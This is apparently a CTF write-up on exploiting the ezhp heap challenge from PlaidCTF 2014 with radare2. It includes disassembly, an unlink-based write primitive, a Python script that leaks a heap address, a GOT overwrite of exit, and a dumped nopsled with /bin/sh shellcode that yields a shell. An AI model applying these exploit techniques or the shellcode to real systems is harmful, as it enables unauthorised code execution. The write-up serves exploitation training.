본문 바로가기

security_downloads

Exploiting ezhp (pwn200) from PlaidCTF 2014 with radare2

728x90

Usual disclaimer: This article is more about radare2 than some 1337-heap-related super-efficient pwnage. If you're looking for the later, checkgeohot's elegant ROP-powered writup instead.

I like to play CTF, but it seems that I prefer to take my time for pwning; playing around with the debugger, trying multiple payloads and methods. Another benefit of doing challenges after ctf is that you can ask which were great, and not lose your time on stupid ones.

Anyway, I was told that ezhp was great, so time to get a shell on it!

[0x08048a48]> iI
file     ./ezhp
type     EXEC (Executable file)
pic      false
canary   false
nx       false
crypto   false
va       true
root     elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
subsys   linux
endian   little
strip    true
static   false
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    8522

[0x08048a48]> 

No PIE, no canary, executable stack, … hurray!

$ r2 -d ./ezhp
Process with PID 21052 started...
PID = 21052
pid = 21052 tid = 21052
r_debug_select: 21052 21052
Using BADDR 0x8048000
Asuming filepath ./ezhp
bits 32
pid = 21052 tid = 21052
 -- Warning, your trial license is about to expire.
[0xf7767010]> dc
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
10
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
4
Please give me an id.
1
r_debug_select: 21052 1
[+] signal 11 aka SIGSEGV received 0
[0xf7609bd1]> pd 1 @ eip
           ;-- eip:
           0xf7609bd1    8b08           mov ecx, dword [eax]
[0xf7609bd1]> dr=
 eip 0xf7609bd1    oeax 0xffffffff     eax 0x00000000     ebx 0xf7738000
 ecx 0xf7739884     edx 0x00000000     esp 0xfface19c     ebp 0xfface1f8
 esi 0x00000000     edi 0x00000000     eflags = 1PZIV    
[0xf7609bd1]> 

NULL dereference, 10/10, would deploy in production.

Let's be serious and find an exploitable vulnerability. When we chose to add a note, the program is asking us Please give me a size., where is this string used in the binary?

[0x08048794]> iz~give me a size
vaddr=0x08048bbb paddr=0x00000bbb ordinal=001 sz=23 len=22 section=.rodata type=a string=Please give me a size.
[0x08048794]> axt 0x08048bbb
d 0x80487c1 mov dword [esp], str.Please_give_me_a_size.
d 0x80488e7 mov dword [esp], str.Please_give_me_a_size.

In which function?

[0x08048794]> afi 0x80487c1~fcn.
 name: fcn.08048794
[0x08048794]> pdf@fcn.08048794
 (fcn) fcn.08048794 134
          0x08048794    55             push ebp
          0x08048795    89e5           mov ebp, esp
          0x08048797    83ec28         sub esp, 0x28
          0x0804879a    a14ca00408     mov eax, dword [0x804a04c]    ; [0x804a04c:4]=0x6e694c2f  ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
          0x0804879f    3dfe030000     cmp eax, 0x3fe
      ┌─< 0x080487a4    7e1b           jle 0x80487c1           
         0x080487a6    c70424908b04.  mov dword [esp], str.The_emperor_says_there_are_too_many_notes_  ; [0x8048b90:4]=0x20656854  ; "The emperor says there are too many notes!" @ 0x8048b90
         0x080487ad    e84efcffff     call sym.imp.puts
            sym.imp.puts()
         0x080487b2    a140a00408     mov eax, dword [sym.stdout]  ; [0x804a040:4]=0x3a434347  ; "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a040
         0x080487b7    890424         mov dword [esp], eax
         0x080487ba    e831fcffff     call sym.imp.fflush
            sym.imp.fflush()
     ┌──< 0x080487bf    eb57           jmp 0x8048818         
     │└   ; JMP XREF from 0x080487a4 (fcn.08048794)
     │└─> 0x080487c1    c70424bb8b04.  mov dword [esp], str.Please_give_me_a_size.  ; [0x8048bbb:4]=0x61656c50  ; "Please give me a size." @ 0x8048bbb
         0x080487c8    e833fcffff     call sym.imp.puts
            sym.imp.puts()
         0x080487cd    a140a00408     mov eax, dword [sym.stdout]  ; [0x804a040:4]=0x3a434347  ; "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a040
         0x080487d2    890424         mov dword [esp], eax
         0x080487d5    e816fcffff     call sym.imp.fflush
            sym.imp.fflush()
         0x080487da    b8d28b0408     mov eax, str._d__c         ; "%d%*c" @ 0x8048bd2
         0x080487df    8d55f0         lea edx, [ebp-local_4]
         0x080487e2    89542404       mov dword [esp + 4], edx    ; [0x4:4]=0x10101 
         0x080487e6    890424         mov dword [esp], eax
         0x080487e9    e852fcffff     call sym.imp.__isoc99_scanf
            sym.imp.__isoc99_scanf()
         0x080487ee    8b45f0         mov eax, dword [ebp-local_4]
         0x080487f1    890424         mov dword [esp], eax
         0x080487f4    e892fdffff     call fcn.0804858b
            fcn.0804858b() ; fcn.08048514+119
         0x080487f9    8945f4         mov dword [ebp-local_3], eax
         0x080487fc    a14ca00408     mov eax, dword [0x804a04c]  ; [0x804a04c:4]=0x6e694c2f  ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
         0x08048801    8b55f4         mov edx, dword [ebp-local_3]
         0x08048804    89148560a004.  mov dword [eax*4 + 0x804a060], edx  ; [0x804a060:4]=0x20293575  ; "u5) 4.6.3" @ 0x804a060
         0x0804880b    a14ca00408     mov eax, dword [0x804a04c]  ; [0x804a04c:4]=0x6e694c2f  ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
         0x08048810    83c001         add eax, 1
         0x08048813    a34ca00408     mov dword [0x804a04c], eax  ; [0x804a04c:4]=0x6e694c2f  ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
         ; JMP XREF from 0x080487bf (fcn.08048794)
     └──> 0x08048818    c9             leave
          0x08048819    c3             ret

Since fcn.0804858b is a bit long, I greped on brk.

[0x08048794]> pdf@fcn.0804858b~?
159
[0x08048794]> pdf@fcn.0804858b~brk
          0x0804860c    e83ffeffff     call sym.imp.sbrk
             sym.imp.sbrk()
[0x08048794]> 

So, it seems that it's heap-based :) The binary is not that big, and the CTF is over, we can spend some time reversing the other functions:

[0x08048a48]> pdf @ main
 (fcn) main 111
           ; DATA XREF from 0x08048477 (entry0)
           ;-- main:
           0x08048a48    55             push ebp
           0x08048a49    89e5           mov ebp, esp
           0x08048a4b    83e4f0         and esp, 0xfffffff0
           0x08048a4e    83ec20         sub esp, 0x20
           0x08048a51    c744241c0000.  mov dword [esp + 0x1c], 0
       ┌─< 0x08048a59    eb4e           jmp 0x8048aa9          
          ; JMP XREF from 0x08048aae (main)
          0x08048a5b    e88bffffff     call fcn.show_menu
             fcn.080489eb()
          0x08048a60    e84effffff     call fcn.get_option_num
             fcn.080489b3()
          0x08048a65    8944241c       mov dword [esp + 0x1c], eax
          0x08048a69    837c241c05     cmp dword [esp + 0x1c], 5
      ┌──< 0x08048a6e    772c           ja 0x8048a9c         
      ││   0x08048a70    8b44241c       mov eax, dword [esp + 0x1c]
      ││   0x08048a74    c1e002         shl eax, 2
      ││   0x08048a77    059c8c0408     add eax, 0x8048c9c
      ││   0x08048a7c    8b00           mov eax, dword [eax]
      ││   0x08048a7e    ffe0           jmp eax
      ││   0x08048a80    e80ffdffff     call fcn.add_note
      ││      fcn.08048794() ; fcn.08048514+640
     ┌───< 0x08048a85    eb22           jmp 0x8048aa9      
     │││   0x08048a87    e88efdffff     call fcn.remove_note
     │││      fcn.0804881a() ; fcn.08048514+774
    ┌────< 0x08048a8c    eb1b           jmp 0x8048aa9    
    ││││   0x08048a8e    e800feffff     call fcn.change_note
    ││││      fcn.08048893() ; fcn.08048514+895
   ┌─────< 0x08048a93    eb14           jmp 0x8048aa9  
   │││││   0x08048a95    e8bcfeffff     call fcn.print_note
   │││││      fcn.08048956() ; fcn.08048514+1090
  ┌──────< 0x08048a9a    eb0d           jmp 0x8048aa9
  ││││└    ; JMP XREF from 0x08048a6e (main)
  ││││└──> 0x08048a9c    c70424000000.  mov dword [esp], 0
  ││││    0x08048aa3    e878f9ffff     call sym.imp.exit
  ││││       sym.imp.exit()
  ││││    0x08048aa8    90             nop
  └└└└    ; JMP XREF from 0x08048a59 (main)
  └└└└─└─> 0x08048aa9    837c241c05     cmp dword [esp + 0x1c], 5
           0x08048aae    75ab           jne 0x8048a5b              
           0x08048ab0    b800000000     mov eax, 0
           0x08048ab5    c9             leave
           0x08048ab6    c3             ret

As one could expect, the main function is a switch-table. I renamed some functions for clarity, you can do the same with the afn command.

We should take a look at what fcn.change_note is doing:

[0x08048a48]> pdf @ fcn.08048893~call
          0x080488a0    e85bfbffff     call sym.imp.puts
          0x080488ad    e83efbffff     call sym.imp.fflush
          0x080488c1    e87afbffff     call sym.imp.__isoc99_scanf
    │││   0x080488ee    e80dfbffff     call sym.imp.puts
    │││   0x080488fb    e8f0faffff     call sym.imp.fflush
    │││   0x0804890f    e82cfbffff     call sym.imp.__isoc99_scanf
    │││   0x0804891b    e8e0faffff     call sym.imp.puts
    │││   0x08048928    e8c3faffff     call sym.imp.fflush
    │││   0x08048949    e892faffff     call sym.imp.read       ; fcn.080483dc+0x4
[0x08048a48]> 

No call to sbrk or unknown functions, weird. If you take a more thoughtful look at this function, you'll see that there is a buffer-overflow, since you control the length and the content of the buffer, and it seems to be size-fixed.

An overflow, and a custom heap, ... this reminds me of jp's article: Advanced Doug lea's malloc exploits, about how to exploit unlinking issues.

$r2 -d ./ezhp
Process with PID 25705 started...
PID = 25705
pid = 25705 tid = 25705
r_debug_select: 25705 25705
Using BADDR 0x8048000
Asuming filepath ./ezhp
bits 32
pid = 25705 tid = 25705
[0xf778d010]> dc
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
10
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
10
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
1337
Please input your data.
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
2
Please give me an id.
1
r_debug_select: 25705 1
[+] signal 11 aka SIGSEGV received 0
[0x0804873b]> dr=
 eip 0x0804873b    oeax 0xffffffff     eax 0x41414141     ebx 0xf775f000
 ecx 0xf7760884     edx 0x41414141     esp 0xfff44408     ebp 0xfff44418
 esi 0x00000000     edi 0x00000000     eflags = 1PIV     
[0x0804873b]> pd 4 @ eip
           0x0804873b    895004         mov dword [eax + 4], edx        ; [0x4:4]=-1 ; 4
           0x0804873e    837dfc00       cmp dword [ebp - 4], 0
       ┌─< 0x08048742    7409           je 0x804874d
       │   0x08048744    8b45fc         mov eax, dword [ebp - 4]
[0x0804873b]> 

Detailed explanation

I was asked (by a lazy friend) to sum up a bit the unlinking issue, so here we go. Feel free to skip this if you have read the article, or if you know this type of vulnerability.

If you take the time to read the assembly code (You can also help us with ESIL to have a decompiler in radare2 if you prefer.), you'll see that the custom-heap is implemented with a double-chained list like this:

struct {
    size_t size,    
    chunk* next,
    chunk* prev,
    char content[0]
} chunk;

Remember that sbrk was used only in two places? The one during initialization is to allocate some memory; so if we create two small notes, odds are that they'll be next to each other. And since we control the content buffer, we might be able to corrupt the next and prev pointers (no one cares about you, size, no one.)

This is (roughly) how a deletion of a chunk is implemented:

+----+     +----+     +----+
| n1 +-----> n2 +-----> n3 |
|    |     |    |     |    |
| p1 <-----+ p2 <-----+ p3 |
+----+     +----+     +----+

+----+                +----+
| n1 +----------------> n3 |
|    |                |    |
| p1 <----------------+ p3 |
+----+                +----+

But remember that we corrupted the content of 2; we now have a double write primitive:

  1. p2 will be written at n2+8, aka n1 if we didn't corrupted 2.
  2. n2 at p2+4, aka p3 if we didn't corrupted 2.

So far so good? Great; now back to exploitation!

Exploitation

We have a write primitive, how can we turn this into a code execution? Where do we write? We could do some proto-heap-spraying or allocate huge chunks to place our shellcode at a deterministic offset, but the most elegant approach is to use a leak.

Running the binary

ezhp is intended to be run as a server, so you can either run it with socat like everyone else, or use rarun2, like a pro:

$ rarun2 program=./ezhp listen=4444

Write from where?

Let me show you how our chunks are currently allocated:

  1. I allocated two chunks of size 10.
  2. I filled the first one with ten A, and the second with ten B
  3. I stopped the program to go back to the r2 shell
  4. I searched with / AAAAAAAAAA the offset of the first chunk
  5. I printed a hexdump of the result with pxw

heap picture

Notice how radare2 colours memory addresses differently than data.

Our two chunks are separated by two times a word, so if we write 24 more A and print the result, the word after our A-sled is the next pointer of the second chunk!

#!/usr/bin/env python

import socket
import struct
import time

def send(s, msg):
    s.send(msg)
    time.sleep(.25)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 4444))

time.sleep(.50)

send(s, "1\n10\n")
send(s, "1\n10\n")
send(s, "3\n0\n16\n")
send(s, 16*"A")
send(s, "4\n0\n")

buf = s.recv(1024)
idx = buf.find('A'*16) + 16
heap = struct.unpack('<L', buf[idx:idx+4])[0]
print '[+] Heap address : %s' % hex(heap)

Write to where?

Since the binary isn't RELRO, we can overwrite exit with our shellcode to get a shell at program's termination.

$ r2 ezhp       
 -- Use radare2! lemons included!
[0x08048460]> ii~exit
ordinal=005 plt=0x08048420 bind=GLOBAL type=FUNC name=exit
[0x08048460]> pd 1 @ 0x08048420
           ;-- sym.imp.exit:
           0x08048420    ff2510a00408   jmp dword [reloc.exit_16]
[0x08048460]> ?v reloc.exit_16
0x804a010
[0x08048460]>

Now, we've got everything we need to get a shell!

Tricky writing

Remember that when we're writing something at a given offset, something else is written at another one? This could be solved by placing a relative jump to skip the garbage, but I went (accidentally) for a more funny route.

I sent a classic nopsled + shellcode payload, and overwrote the pointer to jump straight to the beginning of the padding, and expected a crash. I mean, we'll try to execute two adresses, and some machine code with a random word written somewhere in it.

Let's see what happens when we run our sploit:

$ ./ezhp python pwn.py
[+] Creating chunks
[+] Overflowing into second chunk
[+] Leaking the heap...
[+] Heap address : 0x93f903c
[+] Sending payload
[+] Corrupting (again) second chunk
[+] Triggering vuln
[+] shell!
$ id
uid=1000(jvoisin) gid=1000(jvoisin) groups=1000(jvoisin)

$ wut

So, it seems that instead of a SIGSEGV, we got a shell...

Time to put a raw_input() right before triggering the exploit, and to attach r2.

$ r2 -d $(pidof ezhp )
PIDPATH: ./ezhp
pid = 5696 tid = 5696
r_debug_select: 5696 5696
Using BADDR 0x8048000
Asuming filepath ./ezhp
bits 32
pid = 5696 tid = 5696
 -- Press 'C' in visual mode to toggle colors
[0xf7758c10]> dm~heap
sys   4K 0x08206000 * 0x08207000 s rwx [heap]
[0x08206000]> / AAAAAAAAA
Searching 9 bytes from 0x08206000 to 0xffffffffffffffff: 41 41 41 41 41 41 41 41 41 
# 5696 [0x8206000-0xffffffffffffffff]
[# ]^C0x08ab5f00 < 0xffffffffffffffff  hits = 1   

hits: 1
0x08206018 hit1_0 "AAAAAAAAA"
[0x08206000]> pxw 80 @ 0x08206018
0x08206018  0x41414141 0x41414141 0x41414141 0x41414140  AAAAAAAAAAAA@AAA
0x08206028  0x0820600c 0x0804a00c 0x90909090 0x90909090  .` .............
0x08206038  0x90909090 0x90909090 0x90909090 0x0804a00c  ................
0x08206048  0x50c03190 0x68732f68 0x622f6800 0xe3896e69  .1.Ph/sh.h/bin..
0x08206058  0xc289c189 0x80cd0bb0 0x00000000 0x00000000  ................
[0x08206000]> pid 64 @ 0x08206018
0x08206018    hit1_0:
0x08206018                41  inc ecx               ; Our `AAA...` padding
0x08206019                41  inc ecx
0x0820601a                41  inc ecx
0x0820601b                41  inc ecx
0x0820601c                41  inc ecx
0x0820601d                41  inc ecx
0x0820601e                41  inc ecx
0x0820601f                41  inc ecx
0x08206020                41  inc ecx
0x08206021                41  inc ecx
0x08206022                41  inc ecx
0x08206023                41  inc ecx
0x08206024                40  inc eax
0x08206025                41  inc ecx
0x08206026                41  inc ecx
0x08206027                41  inc ecx
0x08206028              0c60  or al, 0x60           ; Our write-primitive-side-effect garbage
0x0820602a              2008  and byte [eax], cl
0x0820602c              0ca0  or al, 0xa0
0x0820602e              0408  add al, 8
0x08206030                90  nop                   ; Our nopsled
0x08206031                90  nop
0x08206032                90  nop
0x08206033                90  nop
0x08206034                90  nop
0x08206035                90  nop
0x08206036                90  nop
0x08206037                90  nop
0x08206038                90  nop
0x08206039                90  nop
0x0820603a                90  nop
0x0820603b                90  nop
0x0820603c                90  nop
0x0820603d                90  nop
0x0820603e                90  nop
0x0820603f                90  nop
0x08206040                90  nop
0x08206041                90  nop
0x08206042                90  nop
0x08206043                90  nop
0x08206044              0ca0  or al, 0xa0           ; Our classic /bin/sh shellcode
0x08206046              0408  add al, 8
0x08206048                90  nop
0x08206049              31c0  xor eax, eax
0x0820604b                50  push eax
0x0820604c        682f736800  push 0x68732f
0x08206051        682f62696e  push 0x6e69622f
0x08206056              89e3  mov ebx, esp
0x08206058              89c1  mov ecx, eax
0x0820605a              89c2  mov edx, eax
0x0820605c              b00b  mov al, 0xb
0x0820605e              cd80  int 0x80
0x08206060              0000  add byte [eax], al    ; The rest of the heap
0x08206062              0000  add byte [eax], al
0x08206064              0000  add byte [eax], al
0x08206066              0000  add byte [eax], al
0x08206068              0000  add byte [eax], al
0x0820606a              0000  add byte [eax], al
0x0820606c              0000  add byte [eax], al
0x0820606e              0000  add byte [eax], al
0x08206070              0000  add byte [eax], al
0x08206072              0000  add byte [eax], al
0x08206074              0000  add byte [eax], al
0x08206076              0000  add byte [eax], al
[0x08206000]> 

Hurray for ghetto-style nopsleds!

This might not work on your system, but I'm quite sure that you can figure by yourself how to add a jmp at the right place in your padding :)

If you can't reproduce this, or have questions, feel free to rant on #radare.

728x90